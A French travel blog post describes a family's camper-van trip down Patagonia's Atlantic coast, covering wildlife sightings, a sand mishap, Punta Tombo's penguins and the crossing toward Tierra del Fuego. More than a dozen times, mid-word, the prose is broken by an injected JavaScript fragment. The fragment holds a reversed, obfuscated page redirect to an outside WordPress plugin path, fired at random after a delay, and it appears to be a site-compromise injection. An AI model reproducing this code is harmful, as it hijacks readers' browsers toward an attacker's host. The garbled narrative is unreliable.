Nous poursuivons notre descente vers le sud par la “Ruta 3”, qui longe l’Atlantique. De ce côté, la Patagonie se compose de vastes étendues plates et désertiques. La faune y est en revanche très variée. Chaque jour ou presque nous découvrons un nouvel animal.
Le long des routes, on voit très régulièrement des guanacos, ces mammifères de la famille des Camélidés (trop mignons, on est toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous fanas) et des ñandus (sortes de petites autruches).
Prés de Viedma, une falaise abrite des milliers de magnifiques perroquets très colorés. On admire leur vol, souvent en couple parfois par dizaine. Il me parait désormais terrible et toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totalement absurde de garder ces animaux en cage !
Un peu plus loin, à la Loberia, nous observons une colonie de lions de mer grâce aux supers jumelles que Tontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Guillaume a offertes à Clément. Le lendemain sur la plage, on peut s’approcher de très près de ces grosses bêtes impressionnantes qui se prélassent au soleil. Le lion de mer ressemble à une otarie mais en plus gros et les mâles arborent en plus une belle crinière. A Puertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Madryn, nous décidons de les voir d’encore plus près en faisant une excursion en bateau. L’eau est fraîche mais les combinaisons nous protègent bien. Après quelques minutes d’observation, Alice se sent suffisamment à l’aise pour lâcher la bouée et partir à la rencontre de ces animaux impressionnants mais inoffensifs dans l’eau. C’est tellement beau de les voir nager si vite. Encore quelques minutes et à la surprise du moniteur elle caressera un énorme mâle qui chassait paisiblement à côté d’elle ! La seule du bateau à avoir osé. Quel courage !!!
Nous reprenons la route. Au fil des kilomètres, il fait de plus en plus frais. Nous sortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons les pulls pour la journée et les couettes pour les nuits. Un bivouac sur la plage isolée d’Escondida nous fait envie. Il parait qu’on peut y voir des éléphants de mer. Pour y aller, plusieurs kilomètres d’un mauvais ripio (piste). Mais enfin nous y voilà. Nous sortoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tons du ripio pour nous approcher de la plage, si belle… mauvaise idée ! On s’ensable bien comme il faut. Heureusement, nous sommes dimanche, il y a quelques familles présentes sur la plage. Ils accourent pour nous aider et en quelques minutes notre camion est bien garé en sécurité. Nous finissons la journée avec une famille Argentine autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour de quelques bières et bien sûr du maté. Encore des gens adorables, le papa passera du temps avec Clément pour lui apprendre à pêcher.
Le lendemain matin nous sommes seuls sur la plage. Les enfants font leurs devoirs face à l’océan. Magique ! A marée basse on voit par moment de grosses têtes émerger. Des éléphants de mer !!! Ils viennent sur la plage faire la sieste. Ils sont énormes !!! Les plus gros peuvent peser jusqu’à 6 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnes. Ils ressemblent à des phoques mais géants. Le nez des mâles est légèrement avancé rappelant un peu une trompe. L’orage gronde la pluie se rapproche, vu l’état de la piste il est plus prudent de partir sans tarder.
Nous poursuivons notre route, direction la réserve de Punta Tombo. A nouveau il nous faut quitter la route asphaltée pour un mauvais ripio. Le lieu est rempli de milliers de manchots de Magellan. Ils sont très mignons avec leur démarche rigolote. Les œufs ont éclos mi-décembre, on voit de nombreux bébés avec leur duvet. Les manchots ne sont pas farouches. Ils traversent le chemin devant nous. Sur la plage, à coté de guanacos, nous les voyons prendre leur élan pour sauter dans les vagues. Chouette moment !
Un compagnon se fait de plus en plus présent, le vent….!!!! Parfois froid, parfois très violent, il nous accompagne fréquemment.
Arrivés à Puertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to San Julian nous faisons la visite de l’un des bateaux de la flotte de Magellan. Notre guide est très intéressante, les enfants écoutent passionnément l’histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toire de ces aventuriers, de la découverte de cette partie du continent, et des peuples qui l’habitaient. Ils posent énormément de questions, notamment sur les techniques de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tortures de l’époque infligées aux mutins!!
Je m’essaie à la conduite du Camping-Car. Mais ce ne sera pas pour moi un métier de reconversion si je devais abandonner l’orthophonie…. Trop de vent, route creusée par les passages répétés des camions…. au bout de 40 Km je rends les armes.
Les kilomètres s’enchainent. Nous trouvons quelques lagunes avec de beaux flamants roses, et nous apercevons quelques renards gris. Passé Rio Gallegos nous dormons au pied d’un volcan.
Pour rejoindre Ushuaïa il faut d’abord entrer au Chili, traverser le détroit de Magellan puis revenir en Argentine.
A la frontière Chilienne la douane nous confisque nos quelques fruits, légumes et viande que nous n’avons pas eu le temps de finir. Bienvenidos a Chile !
Quelques Kilomètres après un cycliste est en perdition au milieu de la route. Le vent souffle tellement fort qu’il ne peut tenir debout. Nous lui proposons évidemment notre aide. Il est épuisé mais ravi de notre proposition! Il s’appelle Kyu, d’origine Coréen mais vivant au Chili depuis ses 6 ans, il a décidé de parcourir le monde seul, en vélo, pendant 7 ans ou peut être 10 !!!
Quelques dizaines de Kilomètre plus loin, nous arrivons au mythique détroit de Magellan. Le ferry est là. De l’autre coté c’est la Terre de Feu… !!!
